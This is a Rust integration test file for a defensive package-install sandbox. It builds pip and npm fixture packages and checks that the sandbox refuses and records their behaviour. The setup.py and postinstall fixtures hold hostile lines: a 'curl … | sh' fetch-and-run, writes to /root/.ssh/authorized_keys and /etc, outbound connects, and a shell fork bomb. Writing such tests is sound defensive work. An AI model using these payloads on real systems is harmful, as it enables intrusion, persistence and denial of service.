Your browser sucks, JavaScript disabled! Gunnar's console needs JavaScript and WebAssembly. Git over SSH on port 2222 does not.

nordisk/heimdall

crates/heimdall-trace/tests/kernel.rs

// SPDX-License-Identifier: AGPL-3.0-only
// Copyright (C) 2026 Ignalina ApS and Vetra Automation AB

//! Real trace jobs: HeimdallRunner containers with no network, the static
//! tracer as PID 1, python3/pip and node/npm from a pinned worker image.
//! Heimdall is a defensive sandbox; every package here is a test fixture
//! made by this file, and it attacks only its own job: it tries to connect
//! out, to write into /etc, /root/.ssh and /out, to exec a shell and curl,
//! to fork without end.
//!
//! `#[ignore]`d in plain CI: they need user namespaces, delegated cgroup v2,
//! Landlock, seccomp USER_NOTIF, and the worker image layout.
//! `scripts/trace-tests.sh` builds the image and the tracer and runs them in
//! a privileged rootless podman container. Environment:
//! HEIMDALL_TRACE_LAYOUT (OCI layout dir), HEIMDALL_TRACE_BASE (the worker
//! manifest digest), HEIMDALL_TRACE_TRACER (the static tracer),
//! HEIMDALL_CONTAINER_SHIM.

use std::io::Write;
use std::path::{Path, PathBuf};
use std::sync::OnceLock;
use std::time::Duration;

use heimdall_container::{HeimdallConfig, HeimdallRunner};
use heimdall_core::*;
use heimdall_trace::*;

fn env(k: &str) -> String {
    std::env::var(k).unwrap_or_else(|_| panic!("{k} is not set: run scripts/trace-tests.sh"))
}

struct Fx {
    base: PathBuf,
    image: ImageRef,
    runner: HeimdallRunner,
}

fn fx() -> &'static Fx {
    static FX: OnceLock<Fx> = OnceLock::new();
    FX.get_or_init(|| {
        let layout = PathBuf::from(env("HEIMDALL_TRACE_LAYOUT"));
        let worker = ImageRef {
            name: "heimdall-trace-worker".into(),
            digest: env("HEIMDALL_TRACE_BASE"),
        };
        let image = heimdall_trace::image::with_tracer(
            &layout,
            &worker,
            Path::new(&env("HEIMDALL_TRACE_TRACER")),
        )
        .expect("the tracer layer is added");
        let base = std::env::temp_dir().join(format!("heimdall-trace-k-{}", JobId::random()));
        std::fs::create_dir_all(&base).unwrap();
        // A trace job owns the job's seccomp listener: no broker on this
        // runner (one USER_NOTIF listener per filter chain).
        let mut cfg = HeimdallConfig::new(&layout, base.join("work"));
        cfg.broker = heimdall_container::BrokerSetting::Off;
        let runner = HeimdallRunner::new(cfg).expect("this kernel has every feature (strict)");
        Fx {
            base,
            image,
            runner,
        }
    })
}

/// A fresh in/ with `files`, and an empty out/.
fn dirs(files: &[(&str, Vec<u8>)]) -> (PathBuf, PathBuf) {
    let d = fx().base.join(JobId::random().to_hex());
    let (i, o) = (d.join("in"), d.join("out"));
    std::fs::create_dir_all(&i).unwrap();
    std::fs::create_dir_all(&o).unwrap();
    for (n, b) in files {
        std::fs::write(i.join(n), b).unwrap();
    }
    (i, o)
}

fn job<S: AsRef<str>>(argv: &[S]) -> TraceJob {
    let mut tj = TraceJob::new(
        fx().image.clone(),
        argv.iter().map(|s| s.as_ref().to_string()).collect(),
    );
    tj.limits.wall = Duration::from_secs(90);
    tj.env.extend(
        [
            ("PIP_DISABLE_PIP_VERSION_CHECK", "1"),
            ("PIP_NO_INPUT", "1"),
            ("npm_config_cache", "/tmp/home/.npm"),
            ("npm_config_update_notifier", "false"),
        ]
        .map(|(k, v)| (k.to_string(), v.to_string())),
    );
    tj
}

/// Run `tj` with `files` in /in: the signed result, the outcome, out/.
fn run(tj: &TraceJob, files: &[(&str, Vec<u8>)]) -> (Option<SignedResult>, TraceOutcome, PathBuf) {
    let (i, o) = dirs(files);
    let (s, out) = run_trace(&fx().runner, tj, i, o.clone());
    (s, out, o)
}

fn traced(o: &TraceOutcome) -> &Trace {
    match o {
        TraceOutcome::Traced { trace, .. } => trace,
        TraceOutcome::Unknown { reason } => panic!("no trace: {reason}"),
    }
}

fn pip(file: &str) -> Vec<String> {
    [
        "/usr/bin/python3",
        "-m",
        "pip",
        "install",
        "--no-index",
        "--no-build-isolation",
        "--no-deps",
        "--break-system-packages",
        "--target",
        "/tmp/site",
    ]
    .iter()
    .map(|s| s.to_string())
    .chain([format!("/in/{file}")])
    .collect()
}

// ==== the fixtures: a wheel, sdists with a setup.py, an npm tarball ====

/// A stored (uncompressed) zip archive.
fn zip(files: &[(&str, &[u8])]) -> Vec<u8> {
    let mut out = Vec::new();
    let mut central = Vec::new();
    for (name, data) in files {
        let crc = crc32fast::hash(data);
        let off = out.len() as u32;
        let n = name.len() as u16;
        let len = data.len() as u32;
        out.extend_from_slice(&0x04034b50u32.to_le_bytes());
        out.extend_from_slice(&[20, 0, 0, 0, 0, 0, 0, 0, 0x21, 0]);
        out.extend_from_slice(&crc.to_le_bytes());
        out.extend_from_slice(&len.to_le_bytes());
        out.extend_from_slice(&len.to_le_bytes());
        out.extend_from_slice(&n.to_le_bytes());
        out.extend_from_slice(&0u16.to_le_bytes());
        out.extend_from_slice(name.as_bytes());
        out.extend_from_slice(data);
        central.extend_from_slice(&0x02014b50u32.to_le_bytes());
        central.extend_from_slice(&[20, 3, 20, 0, 0, 0, 0, 0, 0, 0, 0x21, 0]);
        central.extend_from_slice(&crc.to_le_bytes());
        central.extend_from_slice(&len.to_le_bytes());
        central.extend_from_slice(&len.to_le_bytes());
        central.extend_from_slice(&n.to_le_bytes());
        central.extend_from_slice(&[0, 0, 0, 0, 0, 0, 0, 0]);
        central.extend_from_slice(&(0o100644u32 << 16).to_le_bytes());
        central.extend_from_slice(&off.to_le_bytes());
        central.extend_from_slice(name.as_bytes());
    }
    let cd_off = out.len() as u32;
    let cd_len = central.len() as u32;
    out.extend_from_slice(&central);
    out.extend_from_slice(&0x06054b50u32.to_le_bytes());
    out.extend_from_slice(&[0, 0, 0, 0]);
    out.extend_from_slice(&(files.len() as u16).to_le_bytes());
    out.extend_from_slice(&(files.len() as u16).to_le_bytes());
    out.extend_from_slice(&cd_len.to_le_bytes());
    out.extend_from_slice(&cd_off.to_le_bytes());
    out.extend_from_slice(&0u16.to_le_bytes());
    out
}

/// urlsafe base64 without padding (a wheel RECORD's hash form).
fn b64(b: &[u8]) -> String {
    const A: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_";
    let mut s = String::new();
    for c in b.chunks(3) {
        let n = (u32::from(c[0]) << 16)
            | (u32::from(*c.get(1).unwrap_or(&0)) << 8)
            | u32::from(*c.get(2).unwrap_or(&0));
        for i in 0..=c.len() {
            s.push(A[((n >> (18 - 6 * i)) & 63) as usize] as char);
        }
    }
    s
}

/// A pure-python wheel `<name>-1.0-py3-none-any.whl` with one module.
fn wheel(name: &str, init: &str) -> (String, Vec<u8>) {
    let di = format!("{name}-1.0.dist-info");
    let files: Vec<(String, Vec<u8>)> = vec![
        (format!("{name}/__init__.py"), init.as_bytes().to_vec()),
        (
            format!("{di}/METADATA"),
            format!("Metadata-Version: 2.1\nName: {name}\nVersion: 1.0\n").into_bytes(),
        ),
        (
            format!("{di}/WHEEL"),
            b"Wheel-Version: 1.0\nGenerator: heimdall-test\nRoot-Is-Purelib: true\nTag: py3-none-any\n"
                .to_vec(),
        ),
    ];
    let mut record = String::new();
    for (p, b) in &files {
        let h = Sha256Digest::of(b);
        record.push_str(&format!("{p},sha256={},{}\n", b64(h.as_bytes()), b.len()));
    }
    record.push_str(&format!("{di}/RECORD,,\n"));
    let mut all: Vec<(&str, &[u8])> = files
        .iter()
        .map(|(p, b)| (p.as_str(), b.as_slice()))
        .collect();
    let rp = format!("{di}/RECORD");
    all.push((&rp, record.as_bytes()));
    (format!("{name}-1.0-py3-none-any.whl"), zip(&all))
}

fn targz(files: &[(String, Vec<u8>)]) -> Vec<u8> {
    let mut b = tar::Builder::new(Vec::new());
    for (p, data) in files {
        let mut h = tar::Header::new_gnu();
        h.set_entry_type(tar::EntryType::Regular);
        h.set_mode(0o644);
        h.set_size(data.len() as u64);
        h.set_mtime(1_700_000_000);
        b.append_data(&mut h, p, &data[..]).unwrap();
    }
    let raw = b.into_inner().unwrap();
    let mut e = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
    e.write_all(&raw).unwrap();
    e.finish().unwrap()
}

/// An sdist `<name>-1.0.tar.gz` whose setup.py runs `body` first.
fn sdist(name: &str, body: &str) -> (String, Vec<u8>) {
    let setup = format!(
        "{body}\nfrom setuptools import setup\nsetup(name={name:?}, version='1.0', py_modules=[])\n"
    );
    let files = vec![
        (format!("{name}-1.0/setup.py"), setup.into_bytes()),
        (
            format!("{name}-1.0/PKG-INFO"),
            format!("Metadata-Version: 2.1\nName: {name}\nVersion: 1.0\n").into_bytes(),
        ),
    ];
    (format!("{name}-1.0.tar.gz"), targz(&files))
}

fn baseline() -> &'static Trace {
    static B: OnceLock<Trace> = OnceLock::new();
    B.get_or_init(|| {
        let (n, w) = wheel("benign", "VALUE = 1\n");
        let (_, o, _) = run(&job(&pip(&n)), &[(&n, w)]);
        traced(&o).clone()
    })
}

fn summary(t: &Trace) -> String {
    format!(
        "exit {:?} status {:?} notifications {} exec {} net {} files {} programs {:?} dropped {}",
        t.exit,
        t.status,
        t.notifications,
        t.exec.len(),
        t.net.len(),
        t.files.len(),
        t.syscalls.keys().collect::<Vec<_>>(),
        t.dropped
    )
}

// ==== the tests ====

#[test]
#[ignore = "needs user namespaces + cgroup v2 + Landlock + USER_NOTIF: scripts/trace-tests.sh"]
fn a_benign_wheel_installs_and_imports_with_no_network_and_no_write_outside_tmp_in_a_signed_trace()
{
    let (n, w) = wheel("benign", "VALUE = 1\n");
    let cmd = format!(
        "{} && PYTHONPATH=/tmp/site /usr/bin/python3 -c 'import benign; assert benign.VALUE == 1'",
        pip(&n).join(" ")
    );
    let (s, o, _) = run(&job(&["/bin/sh", "-c", &cmd]), &[(&n, w)]);
    let s = s.expect("signed");
    assert!(s.result.verdict.is_accepted(), "{:?}", s.result.verdict);
    let t = traced(&o);
    eprintln!("benign: {}", summary(t));
    assert_eq!(t.status, Status::Complete);
    assert_eq!(t.exit, "exit 0", "pip install + import must succeed");
    assert!(!t.timed_out);
    // Python probes IPv6 with a bind to [::1]:0 (refused, recorded); a
    // benign wheel connects and sends nowhere.
    assert!(
        t.net
            .iter()
            .all(|e| e.family == "unix" || (e.op == "bind" && e.refused)),
        "a benign wheel makes no network call: {:?}",
        t.net
    );
    let bad: Vec<_> = t
        .files
        .iter()
        .filter(|f| f.refused || f.outside_tmp)
        .collect();
    assert!(bad.is_empty(), "writes outside /tmp: {bad:?}");
    assert!(t
        .exec
        .iter()
        .any(|e| e.path.starts_with("/usr/bin/python3")));
    assert!(
        t.exec
            .iter()
            .any(|e| e.program == TRACER_PATH && e.path == "/bin/sh"),
        "the command's own start is in the trace: {:#?}",
        t.exec
    );
    assert!(t.syscalls.keys().any(|p| p.starts_with("/usr/bin/python3")));
    assert!(t
        .files
        .iter()
        .any(|f| f.path == format!("/in/{n}") && !f.write));
    assert!(t.files.iter().any(|f| (f.path == "/tmp/site/benign"
        || f.path.starts_with("/tmp/site/benign/"))
        && f.write));
}

#[test]
#[ignore = "needs user namespaces + cgroup v2 + Landlock + USER_NOTIF: scripts/trace-tests.sh"]
fn the_same_benign_install_traced_twice_diffs_clean() {
    let (n, w) = wheel("benign", "VALUE = 1\n");
    let (_, o, _) = run(&job(&pip(&n)), &[(&n, w)]);
    let d = diff(baseline(), traced(&o));
    assert!(d.is_clean(), "{d:#?}");
}

#[test]
#[ignore = "needs user namespaces + cgroup v2 + Landlock + USER_NOTIF: scripts/trace-tests.sh"]
fn a_setup_py_that_connects_out_is_refused_and_recorded_and_new_against_the_baseline() {
    let (n, sd) = sdist(
        "evilnet",
        "import socket\ntry:\n    s = socket.socket(); s.settimeout(2); s.connect(('10.0.0.1', 443))\nexcept Exception:\n    pass\n",
    );
    let (_, o, _) = run(&job(&pip(&n)), &[(&n, sd)]);
    let t = traced(&o);
    eprintln!("evilnet: {}", summary(t));
    let c = t
        .net
        .iter()
        .find(|e| e.op == "connect" && e.address == "10.0.0.1:443")
        .unwrap_or_else(|| panic!("the connect is recorded: {:?}", t.net));
    assert_eq!(c.family, "inet");
    assert!(c.refused);
    assert!(c.program.starts_with("/usr/bin/python3"));
    assert_eq!(t.exit, "exit 0", "the install itself still works");
    let d = diff(baseline(), t);
    assert!(d.net.iter().any(|e| e.address == "10.0.0.1:443"), "{d:#?}");
    assert!(!d.is_clean());
}

#[test]
#[ignore = "needs user namespaces + cgroup v2 + Landlock + USER_NOTIF: scripts/trace-tests.sh"]
fn a_setup_py_that_writes_to_etc_and_root_ssh_is_refused_and_recorded() {
    let (n, sd) = sdist(
        "evilwrite",
        "import os\ntry:\n    os.makedirs('/root/.ssh')\nexcept Exception:\n    pass\nfor p in ['/etc/heimdall-evil', '/root/.ssh/authorized_keys', '/usr/lib/evil.so']:\n    try:\n        open(p, 'w').write('x')\n    except Exception:\n        pass\n",
    );
    let (_, o, _) = run(&job(&pip(&n)), &[(&n, sd)]);
    let t = traced(&o);
    eprintln!("evilwrite: {}", summary(t));
    for p in [
        "/etc/heimdall-evil",
        "/root/.ssh/authorized_keys",
        "/usr/lib/evil.so",
    ] {
        let f = t
            .files
            .iter()
            .find(|f| f.path == p && f.write)
            .unwrap_or_else(|| panic!("the write to {p} is recorded"));
        assert!(f.refused && f.outside_tmp, "{f:?}");
    }
    assert!(t
        .files
        .iter()
        .any(|f| f.op == "mkdir" && f.path == "/root/.ssh" && f.refused));
    let d = diff(baseline(), t);
    assert!(d.files.iter().any(|f| f.path == "/etc/heimdall-evil"));
}

#[test]
#[ignore = "needs user namespaces + cgroup v2 + Landlock + USER_NOTIF: scripts/trace-tests.sh"]
fn a_setup_py_that_execs_sh_and_curl_is_recorded_with_its_argv() {
    let (n, sd) = sdist(
        "evilexec",
        "import os, subprocess\nos.system('curl -s http://203.0.113.9/x | sh')\nsubprocess.call(['/bin/sh', '-c', 'echo hi > /tmp/hi'])\n",
    );
    let (_, o, _) = run(&job(&pip(&n)), &[(&n, sd)]);
    let t = traced(&o);
    eprintln!("evilexec: {}", summary(t));
    assert!(
        t.exec.iter().any(|e| e.path == "/bin/sh"
            && e.argv
                .iter()
                .any(|a| a == "curl -s http://203.0.113.9/x | sh")),
        "{:#?}",
        t.exec
    );
    assert!(
        t.exec
            .iter()
            .any(|e| e.path == "/bin/sh" && e.argv.iter().any(|a| a == "echo hi > /tmp/hi")),
        "{:#?}",
        t.exec
    );
    // dash looks curl up with stat and finds none: no exec of curl itself.
    let d = diff(baseline(), t);
    assert!(
        d.exec.iter().any(|e| e.path == "/bin/sh"),
        "a shell from setup.py is new against the baseline: {d:#?}"
    );
}

// node 22's libuv calls io_uring_setup at start whatever UV_USE_IO_URING
// says (its epoll ring); the fixed profile refuses it with EPERM and node
// carries on without a ring.
#[test]
#[ignore = "needs user namespaces + cgroup v2 + Landlock + USER_NOTIF: scripts/trace-tests.sh"]
fn an_npm_postinstall_script_that_connects_out_is_recorded_and_refused() {
    let pkg = br#"{"name":"evilnpm","version":"1.0.0","scripts":{"postinstall":"node -e \"require('net').connect(443,'10.0.0.1').on('error',()=>{})\""}}"#;
    let tgz = targz(&[("package/package.json".into(), pkg.to_vec())]);
    let mut tj = job(&[
        "/usr/local/bin/npm",
        "install",
        "--offline",
        "--no-audit",
        "--no-fund",
        "--foreground-scripts",
        "--prefix",
        "/tmp/n",
        "/in/evilnpm-1.0.0.tgz",
    ]);
    tj.limits.pids = 512;
    let (_, o, _) = run(&tj, &[("evilnpm-1.0.0.tgz", tgz)]);
    let t = traced(&o);
    eprintln!("evilnpm: {}", summary(t));
    assert!(
        t.exec
            .iter()
            .any(|e| e.argv.iter().any(|a| a.contains("require('net')"))),
        "the postinstall's shell is recorded: {:#?}",
        t.exec
    );
    let c = t
        .net
        .iter()
        .find(|e| e.op == "connect" && e.address == "10.0.0.1:443")
        .unwrap_or_else(|| panic!("the connect is recorded: {:?}", t.net));
    assert!(c.refused && c.program.ends_with("/node"), "{c:?}");
}

#[test]
#[ignore = "needs user namespaces + cgroup v2 + Landlock + USER_NOTIF: scripts/trace-tests.sh"]
fn a_fork_bomb_hits_the_pids_limit_and_the_trace_is_still_signed() {
    let mut tj = job(&["/bin/sh", "-c", "f(){ f|f& }; f; sleep 2"]);
    tj.limits.pids = 32;
    tj.limits.wall = Duration::from_secs(40);
    let (s, o, _) = run(&tj, &[]);
    let s = s.expect("signed");
    assert_eq!(s.result.verdict.code(), Some(codes::LIMIT_PIDS));
    match &o {
        TraceOutcome::Traced { trace, job_code } => {
            eprintln!("forkbomb: {}", summary(trace));
            assert_eq!(job_code.as_deref(), Some(codes::LIMIT_PIDS));
            assert!(
                trace.leftover_killed > 0,
                "the bomb's processes were killed"
            );
            assert!(trace.syscalls.values().any(|s| s
                .iter()
                .any(|f| f.syscall == "clone" || f.syscall == "fork")));
        }
        TraceOutcome::Unknown { reason } => panic!("{reason}"),
    }
}

#[test]
#[ignore = "needs user namespaces + cgroup v2 + Landlock + USER_NOTIF: scripts/trace-tests.sh"]
fn a_trace_over_its_size_bound_is_cut_to_the_bound_and_marked_truncated() {
    let mut tj = job(&[
        "/usr/bin/python3",
        "-c",
        "for i in range(3000): open('/tmp/f%05d-%s' % (i, 'x' * 80), 'w').close()",
    ]);
    tj.max_bytes = 32 * 1024;
    let (s, o, out) = run(&tj, &[]);
    let t = traced(&o);
    eprintln!("large: {}", summary(t));
    assert_eq!(t.status, Status::Truncated);
    assert!(t.dropped > 0);
    assert_eq!(t.exit, "exit 0");
    let len = std::fs::metadata(out.join(TRACE_FILE)).unwrap().len();
    assert!(len <= 32 * 1024, "{len}");
    assert!(s.unwrap().result.outputs[0].bytes == len);
    assert!(
        !diff(baseline(), t).is_clean(),
        "a truncated trace is never clean"
    );
}

#[test]
#[ignore = "needs user namespaces + cgroup v2 + Landlock + USER_NOTIF: scripts/trace-tests.sh"]
fn a_forged_or_bit_flipped_trace_of_a_real_job_is_refused_by_verify() {
    let tj = job(&["/bin/true"]);
    let (s, o, out) = run(&tj, &[]);
    let s = s.unwrap();
    assert!(traced(&o).exit == "exit 0");
    let key = fx().runner.verifying_key();
    assert!(!verify_trace(&s, &key, None, &out, tj.max_bytes).is_unknown());
    // The file, one bit.
    let p = out.join(TRACE_FILE);
    let good = std::fs::read(&p).unwrap();
    let mut bad = good.clone();
    bad[good.len() / 3] ^= 0x04;
    std::fs::write(&p, &bad).unwrap();
    assert!(verify_trace(&s, &key, None, &out, tj.max_bytes).is_unknown());
    // A forged document with a fresh hash, in a result the forger re-signs.
    let mut forged = Trace::from_canonical(&good, tj.max_bytes).unwrap();
    forged.notifications += 1;
    let fb = forged.to_canonical();
    std::fs::write(&p, &fb).unwrap();
    let mut r = s.result.clone();
    r.outputs = vec![Output::of(TRACE_FILE, &fb)];
    let resigned = BootKey::generate().sign(r).unwrap();
    assert!(verify_trace(&resigned, &key, None, &out, tj.max_bytes).is_unknown());
    // The signed wire, one bit (back to the good file).
    std::fs::write(&p, &good).unwrap();
    let mut w = s.to_bytes();
    let i = w.len() - 70;
    w[i] ^= 0x01;
    if let Ok(f) = SignedResult::from_bytes(&w) {
        assert!(verify_trace(&f, &key, None, &out, tj.max_bytes).is_unknown());
    }
}

#[test]
#[ignore = "needs user namespaces + cgroup v2 + Landlock + USER_NOTIF: scripts/trace-tests.sh"]
fn a_package_cannot_write_into_out_and_the_trace_stays_the_only_output() {
    let (s, o, out) = run(
        &job(&[
            "/bin/sh",
            "-c",
            "echo x > /out/evil; echo y > /out/trace.json; echo z >> /out/trace.json; true",
        ]),
        &[],
    );
    let t = traced(&o);
    for p in ["/out/evil", "/out/trace.json"] {
        assert!(
            t.files.iter().any(|f| f.path == p && f.write && f.refused),
            "{p}: {:#?}",
            t.files
        );
    }
    let names: Vec<_> = s
        .unwrap()
        .result
        .outputs
        .iter()
        .map(|o| o.name.clone())
        .collect();
    assert_eq!(names, vec![TRACE_FILE.to_string()]);
    assert_eq!(std::fs::read_dir(&out).unwrap().count(), 1);
}

#[test]
#[ignore = "needs user namespaces + cgroup v2 + Landlock + USER_NOTIF: scripts/trace-tests.sh"]
fn a_trace_that_could_not_be_taken_is_unknown_never_clean() {
    // No such program in the image: the tracer writes an incomplete trace.
    let (_, o, _) = run(&job(&["/usr/bin/no-such-program"]), &[]);
    match &o {
        TraceOutcome::Unknown { reason } => assert!(reason.contains("could not trace"), "{reason}"),
        o => panic!("{o:?}"),
    }
    // The wall limit kills the job before the tracer writes: no trace at all.
    let mut tj = job(&["/bin/sleep", "60"]);
    tj.limits.wall = Duration::from_secs(4);
    let (i, out) = dirs(&[]);
    let mut j = tj.job(i, out.clone());
    if let JobKind::Native { argv, .. } = &mut j.kind {
        let k = argv.iter().position(|a| a == "--timeout-ms").unwrap();
        argv[k + 1] = "60000".into();
    }
    let ticket = j.ticket();
    let s = fx().runner.run(j).expect("signed");
    assert_eq!(s.result.verdict.code(), Some(codes::LIMIT_WALL));
    let o = verify_trace(
        &s,
        &fx().runner.verifying_key(),
        Some(&ticket),
        &out,
        tj.max_bytes,
    );
    assert!(o.is_unknown(), "{o:?}");
}

#[test]
#[ignore = "needs user namespaces + cgroup v2 + Landlock + USER_NOTIF: scripts/trace-tests.sh"]
fn a_job_calling_io_uring_setup_gets_eperm_and_keeps_running() {
    let (_, o, _) = run(
        &job(&[
            "/usr/bin/python3",
            "-c",
            "import ctypes, sys\nlibc = ctypes.CDLL(None, use_errno=True)\nr = libc.syscall(425, 1, ctypes.c_void_p(0))\nsys.exit(0 if r == -1 and ctypes.get_errno() == 1 else 3)",
        ]),
        &[],
    );
    assert_eq!(
        traced(&o).exit,
        "exit 0",
        "io_uring_setup must return EPERM, not kill"
    );
}